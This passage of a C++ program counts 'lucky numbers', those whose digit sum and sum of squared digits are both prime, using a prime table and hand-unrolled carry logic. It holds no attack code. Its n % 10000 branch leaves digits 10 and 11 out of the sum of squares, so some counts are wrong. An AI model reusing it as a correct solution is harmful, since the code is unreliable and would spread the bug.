0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0 }; unsigned num_digits(long long i) { return i > 0 ? (long) log10 ((double) i) + 1 : 1; } void get_sum_and_sum_square_digits(long long n, int& sum, int& sum_square) { sum = 0; sum_square = 0; int digit; while (n) { digit = n % 10; sum += digit; sum_square += digit * digit; n /= 10; } } void init_digits(long long n, long long previous_sum[], const int size = 18) { int current_no_digits = num_digits(n); int digit; for (int i = 0; i < current_no_digits; ++i) { digit = n % 10; previous_sum[i] = digit; n /= 10; } for (int i = current_no_digits; i <= size; ++i) { previous_sum[i] = 0; } } void display_previous(long long previous[]) { for (int i = 0; i < 18; ++i) { cout << previous[i] << ","; } } int count_lucky_number(long long A, long long B) { long long n = A; long long end = B; int sum = 0; int sum_square = 0; int lucky_counter = 0; get_sum_and_sum_square_digits(n, sum, sum_square); long long sum_counter = sum; long long sum_square_counter = sum_square; if (prime_table[sum_counter] && prime_table[sum_square_counter]) { lucky_counter++; } long long previous_sum[19] = {1}; init_digits(n, previous_sum); while (n < end) { n++; if (n % 100000000000000000 == 0) { previous_sum[17]++; sum_counter = previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[16] = 0; previous_sum[15] = 0; previous_sum[14] = 0; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000000000000 == 0) { previous_sum[16]++; sum_counter = previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[15] = 0; previous_sum[14] = 0; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000000000000 == 0) { previous_sum[15]++; sum_counter = previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[14] = 0; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000000000000 == 0) { previous_sum[14]++; sum_counter = previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[13] = 0; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000000000 == 0) { previous_sum[13]++; sum_counter = previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[12] = 0; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000000000 == 0) { previous_sum[12]++; sum_counter = previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[11] = 0; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000000000 == 0) { previous_sum[11]++; sum_counter = previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[10] = 0; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000000 == 0) { previous_sum[10]++; sum_counter = previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[9] = 0; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000000 == 0) { previous_sum[9]++; sum_counter = previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[8] = 0; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000000 == 0) { previous_sum[8]++; sum_counter = previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[7] = 0; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000000 == 0) { previous_sum[7]++; sum_counter = previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[6] = 0; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000000 == 0) { previous_sum[6]++; sum_counter = previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[5] = 0; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100000 == 0) { previous_sum[5]++; sum_counter = previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[4] = 0; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10000 == 0) { previous_sum[4]++; sum_counter = previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[3] = 0; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 1000 == 0) { previous_sum[3]++; sum_counter = previous_sum[3] + previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[3] * previous_sum[3] + previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[2] = 0; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 100 == 0) { previous_sum[2]++; sum_counter = previous_sum[2] + previous_sum[3] + previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[2] * previous_sum[2] + previous_sum[3] * previous_sum[3] + previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[1] = 0; previous_sum[0] = 0; } else if (n % 10 == 0) { previous_sum[1]++; sum_counter = previous_sum[1] + previous_sum[2] + previous_sum[3] + previous_sum[4] + previous_sum[5] + previous_sum[6] + previous_sum[7] + previous_sum[8] + previous_sum[9] + previous_sum[10] + previous_sum[11] + previous_sum[12] + previous_sum[13] + previous_sum[14] + previous_sum[15] + previous_sum[16] + previous_sum[17] + previous_sum[18]; sum_square_counter = previous_sum[1] * previous_sum[1] + previous_sum[2] * previous_sum[2] + previous_sum[3] * previous_sum[3] + previous_sum[4] * previous_sum[4] + previous_sum[5] * previous_sum[5] + previous_sum[6] * previous_sum[6] + previous_sum[7] * previous_sum[7] + previous_sum[8] * previous_sum[8] + previous_sum[9] * previous_sum[9] + previous_sum[10] * previous_sum[10] + previous_sum[11] * previous_sum[11] + previous_sum[12] * previous_sum[12] + previous_sum[13] * previous_sum[13] + previous_sum[14] * previous_sum[14] + previous_sum[15] * previous_sum[15] + previous_sum[16] * previous_sum[16] + previous_sum[17] * previous_sum[17] + previous_sum[18] * previous_sum[18]; previous_sum[0] = 0; } else { sum_counter++; sum_square_counter += ((n - 1) % 10) * 2 + 1; } // get_sum_and_sum_square_digits(n, sum, sum_square); // assert(sum == sum_counter && sum_square == sum_square_counter); if (prime_table[sum_counter] && prime_table[sum_square_counter]) { lucky_counter++; } } return lucky_counter; } void inout_lucky_numbers() { int n; cin >> n; long long a; long long b; while (n--) { cin >> a >> b; cout << count_lucky_number(a, b) << endl; } } int main() { inout_lucky_numbers(); return 0; }

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